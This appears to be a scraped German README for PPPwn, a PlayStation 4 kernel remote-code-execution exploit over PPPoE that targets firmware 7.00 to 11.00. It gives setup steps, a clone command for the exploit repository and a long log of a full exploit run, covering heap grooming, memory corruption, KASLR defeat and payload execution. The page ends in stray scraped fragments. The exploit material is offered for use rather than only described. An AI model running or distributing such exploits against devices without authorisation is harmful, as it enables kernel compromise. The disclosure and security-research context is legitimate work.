PPPwn - PlayStation 4 PPPoE RCE

PPPwn ist ein Kernel-Exploit zur Remote-Codeausführung für PlayStation 4 bis FW 11.00. Dies ist ein Proof-of-Concept-Exploit für CVE-2006-4304, der verantwortungsvoll an PlayStation gemeldet wurde.

Unterstützte Versionen sind:

FW 7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
FW 8.00 / 8.01 / 8.03
FW 8.50 / 8.52
FW 9.00
FW 9.03 / 9.04
FW 9.50 / 9.51 / 9.60
FW 10.00 / 10.01
FW 10.50 / 10.70 / 10.71
FW 11.00
weitere können hinzugefügt werden (PRs sind willkommen)

Der Exploit gibt auf deiner PS4 nur PPPwned als Proof-of-Concept aus. Um Mira oder ähnliche Homebrew-Enabler zu starten, muss das stage2.bin-Payload angepasst werden.

Voraussetzungen

Ein Computer mit einem Ethernet-Port
- Ein USB-Adapter funktioniert auch
Ethernet-Kabel
Linux
- Du kannst VirtualBox verwenden, um eine Linux-VM mit Bridged Adapter als Netzwerkadapter zu erstellen, um den Ethernet-Port in der VM zu nutzen.
Python3 und gcc installiert

Verwendung

Auf deinem Computer klonst du das Repository:

git clone --recursive https://github.com/TheOfficialFloW/PPPwn

[+] PPPwn - PlayStation 4 PPPoE RCE by theflow [+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] STAGE 0: Initialization [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Source MAC: 07:ba:be:34:d6:ab [+] AC cookie length: 0x4e0 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [*] Waiting for interface to be ready... [+] Target IPv6: fe80::2d9:d1ff:febc:83e4 [+] Heap grooming...done [+] STAGE 1: Memory corruption [+] Pinning to CPU 0...done [*] Sending malicious LCP configure request... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141 [+] STAGE 2: KASLR defeat [*] Defeating KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] STAGE 3: Remote code execution [*] Sending LCP terminate request... [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Source MAC: 97:df:ea:86:ff:ff [+] AC cookie length: 0x511 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Triggering code execution... [*] Waiting for stage1 to resume... [*] Sending PADT... [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] AC cookie length: 0x0 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [+] STAGE 4: Arbitrary payload execution [*] Sending stage2 payload... [+] Done!

PPPwn

Beliebteste

Beispielausführung

Hinweise für Mac-Benutzer mit Apple Silicon (arm64 / aarch64)